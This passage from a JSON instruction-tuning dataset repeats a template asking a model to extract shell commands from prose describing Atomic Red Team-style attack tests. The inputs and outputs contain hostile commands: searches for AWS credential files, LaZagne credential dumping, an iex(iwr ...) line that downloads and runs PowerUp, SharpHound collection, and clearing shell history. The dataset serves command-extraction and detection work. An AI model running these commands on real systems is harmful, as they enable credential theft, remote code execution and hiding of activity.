`if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To locate local AWS credentials within a specified directory, you can use the following command: find #{file_path}/.aws -name \"credentials\" -type f 2>/dev/null; The LaZagne tool can be executed with this command to extract all stored credentials: python2 laZagne.py all", "output": "{\"command_list\": [\"find #{file_path}/.aws -name \\\"credentials\\\" -type f 2>/dev/null\\n\", \"python2 laZagne.py all\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test helps emulate Gootloader by executing a compressed JavaScript file, resulting in calculator.exe opening, via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\"\n; The process involves opening a .docx file that loads a macro template from a remote source, which can be initiated with this command: start \"#{docx_file}\". Note that Microsoft Office's WINWORD is required for execution.", "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\temp_T1027js.zip\\\\T1027js.js\\\"\\n\", \"start \\\"#{docx_file}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The ARP table can be inspected with the command: ip neighbour show; The kernel routing tables can be displayed by executing this command: ip route show", "output": "{\"command_list\": [\"ip neighbour show\\n\", \"ip route show\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To clear the current shell history and prevent future logging, use the following command sequence: set +o history\necho 'set +o history' >> ~/.bashrc\n. ~/.bashrc\nhistory -c\n; To prevent commands from being logged in the Bash History file, simply add a space before them, like this: hostname\nwhoami\n", "output": "{\"command_list\": [\"set +o history\\necho 'set +o history' >> ~/.bashrc\\n. ~/.bashrc\\nhistory -c\\n\", \"hostname\\nwhoami\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To copy and delete mail data on Windows, use the following command sequence:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore; To copy and delete mail data on Linux, use the following command: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\n", "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\", \"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can change permissions recursively by executing this command: chmod -R #{numeric_mode} #{file_or_folder}; For recursively applying new permissions to a file or folder via symbolic mode, run the command: chmod -R #{symbolic_mode} #{file_or_folder}", "output": "{\"command_list\": [\"chmod -R #{numeric_mode} #{file_or_folder}\\n\", \"chmod -R #{symbolic_mode} #{file_or_folder}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using the default Shortcut Command method, you can execute a CHM file with the command: Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}; Using the ITS protocol handler to execute a CHM file requires this PowerShell command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\", \"Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please 